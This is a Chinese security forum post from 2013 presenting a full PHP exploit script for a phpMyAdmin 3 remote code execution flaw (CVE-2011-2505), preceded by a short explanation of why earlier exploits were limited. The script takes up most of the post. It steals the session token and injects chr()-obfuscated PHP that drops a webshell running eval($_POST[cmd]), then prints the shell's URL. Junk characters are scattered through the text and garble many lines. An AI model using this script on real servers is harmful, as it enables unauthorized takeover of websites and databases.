找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 1981|回复: 0
打印 上一主题 下一主题

phpadmin3 remote code execute php版本exploit

[复制链接]
跳转到指定楼层
楼主
发表于 2013-2-21 09:13:03 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
最近在家做专职奶爸,不谙圈内事很多months了,博客也无更新。
! l& P9 A3 _0 e0 G6 \
( k$ R& D0 \4 c5 E% V6 g昨夜带孩子整夜未眠,看到黑哥在php security群里关于phpmyadmin3漏洞的讨论,虽然之前没看过漏洞代码,不过前段时间还是在微博上看到wofeiwo的exp了,不过据黑哥说有不鸡肋的利用方法,于是夜里翻代码出来研究了翻,写出了这个冷饭exp,由于我搞的晚了,之前已经很多人研究了写exp了,于是我这个属于炒冷饭,权当研究研究打发时间了。/ d2 }! W. A9 K: W( {2 o

* b! y( G, t$ d; [. J7 I首先赞下wofeiwo的python版本的exp,再赞下wofeiwo跟superhei的钻研精神,学习的榜样啊。不过之前那个exp利用起来是有一些限制的:5 ]) g/ R8 t1 Y5 q! L  \7 }
一是session.auto_start = 1;! L; \- B" B4 C3 R
二是pma3默认代码里libraries目录已经用.htaccess控制了不允许访问。5 L; D$ x' d4 w2 z
当然还有第三点大家都不可以逾越的鸿沟:config目录存在且可写。; M: x7 w' W- b$ R
8 F; H6 r& X2 U# l9 |
在群里看了黑哥的发言后,再看了下代码,发现前两点利用限制均可以无视。所以其实这个漏洞还真的可以不是那么鸡肋。
- d( z0 ?# D* H1 [. x
9 T8 J! U4 ]/ @# R2 N, n于是写了这个php版本的exp,代码如下:$ p/ C& S$ R- l4 u# T+ D9 M# A! y
- i9 b) J' r% h* j4 c
#!/usr/bin/php
" P, E4 k: l! ^/ I* n1 A<?php
7 C* `9 N- ?8 nprint_r('# [3 H$ K* r) u5 E; M9 O
+---------------------------------------------------------------------------+7 u0 j  |8 n% x& X- z4 U
pma3 - phpMyAdmin3 remote code execute exploit [Not jilei(chicken\'s ribs)]: @3 L  k9 p2 {7 O5 D( q' ~. f4 x! a. H
by oldjun(www.oldjun.com)
( Q3 b2 {1 h( g2 p; ]8 o( H, uwelcome to www.t00ls.net- Q& l3 I1 F5 _' @  i3 x
mail: oldjun@gmail.com5 X' U( _# T8 {* P0 W: K; J  i
Assigned CVE id: CVE-2011-2505
# c$ q9 p% |5 G8 o. O1 B3 [+---------------------------------------------------------------------------+  o; V& G% m0 ?7 N
');
# V8 C/ Y: T4 J9 @& n# x6 n0 J" |1 d) S8 w- f  s+ y  \
/**
8 b8 B2 `) a8 J& b) s" k- z * working when the directory:"config" exists and is writeable.
- \9 B# D- t/ o* f4 I**/
4 E) C5 |; @$ W0 S# V" \" T 6 _2 P! ^& ^- n+ g8 j/ c6 E
if ($argc < 3) {
4 }  X6 `& \# Z2 W    print_r('
( _. ~' K% E* b$ w/ w9 e+ V7 X4 r+ F1 Q+---------------------------------------------------------------------------+
3 r# S8 i" K; v$ T$ LUsage: php '.$argv[0].' host path  N+ C2 @  r9 m" q+ e5 q) U" \
host:      target server (ip/hostname)
0 F' J0 d- Z$ R: ~# qpath:      path to pma3  S4 u2 P' r+ N: j) a" f
Example:
. {; ]3 p9 u6 h( nphp '.$argv[0].' localhost /pma/, Q2 B. Z/ B5 [1 N
+---------------------------------------------------------------------------+
9 O4 ^) b9 e( T- T+ j- d');' u4 {" b+ P) Q: {7 j
    exit;
% h! ]* p( @  j" ]}; s, k! J8 ?" X5 p5 H
0 K( Q0 `) P9 V' U9 A8 X
$host = $argv[1];
' o" b3 S0 z4 O* S) R  e$path = $argv[2];/ p# U, j/ U% v* p- j  Z% K
' F, D: U  g: @7 W$ k! R
/**" ?% e/ k: G# M' }# U* e( e4 e
* Try to determine if the directory:"config" exists
/ e) }4 x" n' t$ J: Y**/
8 j: E% ~% O. {2 a! mecho "[+] Try to determine if the directory:config exists....\n";. y' X( K' m- w7 i8 a! E* W9 Z" `
$returnstr=php_request('config/');
3 m+ C9 e" X! y& O8 D! \+ d4 f0 pif(strpos($returnstr,'404')){  E+ q2 q; u; v5 ]% H  n
    exit("[-] Exploit Failed! The directory:config do not exists!\n");
: D: \$ q! S5 C0 t}$ P/ r* L9 c. g1 }' j2 {2 b+ J

  G/ |+ r9 q- @( f  S$ [( k/**) \7 e$ A- V- ~; ]$ h% G
* Try to get token and sessionid4 L! G: r: _( F, j: m8 x
**/
8 ^$ }& m6 q$ z7 becho "[+] Try to get token and sessionid....\n";
, d3 o" b, k, ]! e+ {. B$result=php_request('index.php');
- x7 r# z& n# b- p* lpreg_match('/phpMyAdmin=(\w{32,40})\;(.*?)token=(\w{32})\&/s', $result, $resp);# ~/ q) w/ a5 u/ Q9 M& a
$token=$resp[3];1 ^9 i( `1 l2 D9 z- U3 L' {: @
$sessionid=$resp[1];
6 a0 T2 g5 t& N5 h. Z' T& m3 w* eif($token && $sessionid){
  {8 L$ Z8 ^1 J. r0 e    echo "[+] tokentoken\n";, n# q; n, J8 v
    echo "[+] Session IDsessionid\n";
& L9 _5 k$ Z# w, K9 Z}else{& u7 ~2 P9 v. \% }
    exit("[-] Can't get token and Session ID,Exploit Failed!\n");
! T  e% m3 t9 Y: n' P}+ ~4 V" G7 u5 g- L
% e6 R! f* p& ^7 m8 ?
/**; o* i6 j/ p! ?$ F2 Z& a0 J6 h
* Try to insert shell into session  _9 a+ e* @3 [7 o( {
**/
4 O! n% C! P1 u9 Lecho "[+] Try to insert shell into session....\n";2 h0 U. Z# V3 U* f' `  n2 X1 R
php_request('db_create.php?token='.$token.'&session_to_unset=t00ls&_SESSION[ConfigFile][Servers][*/eval(chr(102).chr(112).chr(117).chr(116).chr(115).chr(40).chr(102).chr(111).chr(112).chr(101).chr(110).chr(40).chr(39).chr(97).chr(46).chr(112).chr(104).chr(112).chr(39).chr(44).chr(39).chr(119).chr(39).chr(41).chr(44).chr(39).chr(60).chr(63).chr(112).chr(104).chr(112).chr(32).chr(101).chr(118).chr(97).chr(108).chr(40).chr(36).chr(95).chr(80).chr(79).chr(83).chr(84).chr(91).chr(99).chr(109).chr(100).chr(93).chr(41).chr(63).chr(62).chr(39).chr(41).chr(59).chr(101).chr(99).chr(104).chr(111).chr(40).chr(39).chr(116).chr(48).chr(48).chr(108).chr(115).chr(39).chr(41).chr(59));/*][host]=t00ls.net','','phpMyAdmin='.$sessionid);//Actually,almost all the php files in home directory of pma3 can be used here.
+ Q2 N% M2 [2 s" L! C0 e
8 k/ O( |( b9 Z" n4 o2 q  u; K/**
9 f- j$ N- I0 w * Try to create webshell% s1 y7 P* W' y0 y1 a* N, Z
**/0 C, s# N1 U2 o1 W' t/ ]
echo "[+] Try to create webshell....\n";5 l8 V, D1 d; L0 u
php_request('setup/config.php','phpMyAdmin='.$sessionid.'&tab_hash=&token='.$token.'&check_page_refresh=&DefaultLang=en&ServerDefault=0&eol=unix&submit_save=Save','phpMyAdmin='.$sessionid);* V6 H7 i+ k; d# D+ c
/*** H& M# t  O0 r+ r( z# m! v% |( t
* Try to check if the webshell was created successfully
0 a0 E. T: I5 b( Q0 {) D# `" y. a' C**/
0 C! {  T( f  q/ necho "[+] Try to check if the webshell was created successfully....\n";
: y* P3 ~3 f( |% e: v* m, u$content=php_request('config/config.inc.php');
; U( L: B; a5 d+ [2 Pif(strpos($content,'t00ls')){& T7 E5 a( _* o5 `' ?2 @1 f# x
    echo "[+] Congratulations! Expoilt successfully....\n";7 e; N5 N( g2 d/ }* e% L9 Q3 _3 A
    echo "[+] Webshell:http://$host{$path}config/a.php eval(\$_POST[cmd])\n";- ]6 g3 }. ~! I0 }+ g& L+ q1 R  A
}else{
3 a5 q* D% X* y  C& n    exit("[-] Exploit Failed! Perhaps the directory:config do not exists or is not writeable!\n");
7 Y8 m$ _+ u+ O# Q" R5 g+ f}
  z' ~6 P/ G, T4 j! k* Z+ K! C: H3 B
% f9 V- |$ `8 `( t1 |: Zfunction php_request($url,$data='',$cookie=''){- G, T) d3 J% g& T; a8 D. h9 J* e0 m
    global  $host, $path;. R$ J( E: e( Z7 k) W4 U9 |& U
    % |, ?" r$ t7 F( |- r( i8 w2 x  N
    $method=$data?'POST':'GET';
" a7 q* N2 S* ?$ G    ' }7 O/ b6 ~7 a9 f
    $packet = $method." ".$path.$url." HTTP/1.1\r\n";
* m: M( u! D* [8 t% L$ @' @' r! q: @    $packet .= "Accept: */*\r\n";& b2 }7 ~$ P0 K- ~+ T! X. P4 C
    $packet .= "User-Agent: Mozilla/4.0 (compatible; MSIE 6.00; Windows NT 5.1; SV1)\r\n";
0 h) L- g* x4 o" r& h5 e" \    $packet .= "Host: $host\r\n";
% y1 D- T' r1 r4 [3 r; m; X    $packet .= $data?"Content-Type: application/x-www-form-urlencoded\r\n":"";+ U( l+ J- Q9 Q* R1 B* \
    $packet .= $data?"Content-Length: ".strlen($data)."\r\n":"";
( [! l* Y$ [8 L8 ~/ ]8 q4 P    $packet .= $cookie?"Cookie: $cookie\r\n":"";
  ]6 l& M9 k9 E2 {8 ?" z3 Y) E6 n% z    $packet .= "Connection: Close\r\n\r\n";: P8 l; p/ ^4 n* C
    $packet .= $data?$data:"";7 r7 l& h! _( |
  j7 j/ [4 A* ?3 G: s8 e
    $fp = fsockopen(gethostbyname($host), 80);
. l: W: F7 A5 C    if (!$fp) {
% u2 n/ m! D) ?8 H& a" Q    echo 'No response from '.$host; die;
4 H; @1 x; f; G6 U! N    }% L5 W9 G- E# z7 d& C- L/ ?
    fputs($fp, $packet);
' Z8 z5 M# o$ r# @, X
! ^* p" X  u; Q7 S1 [    $resp = '';
0 L: D( r. l& `* g4 y6 E% i2 F3 B: Z1 F1 p
    while ($fp && !feof($fp))+ }. k2 l. ?( ]  U" K8 C: t
        $resp .= fread($fp, 1024);- F2 ^4 X/ D2 J. W5 L
; y# W/ g7 M  H- F: d, M
    return $resp;: x: v0 m7 F+ D( S: Z- z: s( g: `  ~
}
: }) J, G* t4 ~+ S. F# n/ I- @- {  m    ( Z# L- G/ ~, l6 }$ n% a
?> , s. {, Y6 }) V
.
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表